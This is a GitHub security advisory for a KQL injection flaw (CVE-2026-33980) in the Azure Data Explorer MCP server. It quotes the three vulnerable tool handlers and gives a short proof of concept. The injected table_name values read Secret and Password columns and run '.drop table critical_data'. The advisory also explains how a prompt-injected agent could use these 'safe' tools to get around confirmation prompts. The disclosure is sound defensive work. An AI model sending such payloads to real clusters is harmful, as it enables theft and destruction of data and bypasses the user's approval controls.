Skip to content

Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries

High severity GitHub Reviewed Published Mar 25, 2026 in pab1it0/adx-mcp-server • Updated Mar 30, 2026

Package

pip adx-mcp-server (pip)

Affected versions

<= 1.1.0

Patched versions

None

Description

Summary

adx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: get_table_schema, sample_table_data, and get_table_details. The table_name parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.

Details

The MCP tools construct KQL queries by directly embedding the table_name parameter into query strings:

Vulnerable code (permalink):

@mcp.tool(...)
async def get_table_schema(table_name: str) -> List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f"{table_name} | getschema"          # <-- KQL injection
    result_set = client.execute(config.database, query)
@mcp.tool(...)
async def sample_table_data(table_name: str, sample_size: int = 10) -> List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f"{table_name} | sample {sample_size}"  # <-- KQL injection
    result_set = client.execute(config.database, query)
@mcp.tool(...)
async def get_table_details(table_name: str) -> List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f".show table {table_name} details"     # <-- KQL injection
    result_set = client.execute(config.database, query)

KQL allows chaining query operators with | and executing management commands prefixed with .. An attacker can inject:

  • sensitive_table | project Secret, Password | take 100 // to read arbitrary tables
  • Newline-separated management commands like .drop table important_data via get_table_details
  • Arbitrary KQL analytics queries via any of the three tools

Note: While the server also has an execute_query tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to "safe" tools while requiring confirmation for execute_query. The injection bypasses this trust boundary.

PoC

# PoC: KQL Injection via get_table_schema tool
# The table_name parameter is injected into: f"{table_name} | getschema"

import json

# MCP tool call that exfiltrates data from a sensitive table
tool_call = {
    "name": "get_table_schema",
    "arguments": {
        "table_name": "sensitive_data | project Secret, Password | take 100 //"
    }
}
print(json.dumps(tool_call, indent=2))

# Resulting KQL: "sensitive_data | project Secret, Password | take 100 // | getschema"
# The // comments out "| getschema", executing an arbitrary data query instead

# Destructive example via get_table_details:
tool_call_destructive = {
    "name": "get_table_details",
    "arguments": {
        "table_name": "users details\n.drop table critical_data"
    }
}
# Resulting KQL:
#   .show table users details
#   .drop table critical_data details

References

@pab1it0 pab1it0 published to pab1it0/adx-mcp-server Mar 25, 2026
Published to the GitHub Advisory Database Mar 27, 2026
Reviewed Mar 27, 2026
Published by the National Vulnerability Database Mar 27, 2026
Last updated Mar 30, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(14th percentile)

Weaknesses

Improper Neutralization of Special Elements in Data Query Logic

The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query. Learn more on MITRE.

CVE ID

CVE-2026-33980

GHSA ID

GHSA-vphc-468g-8rfp

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.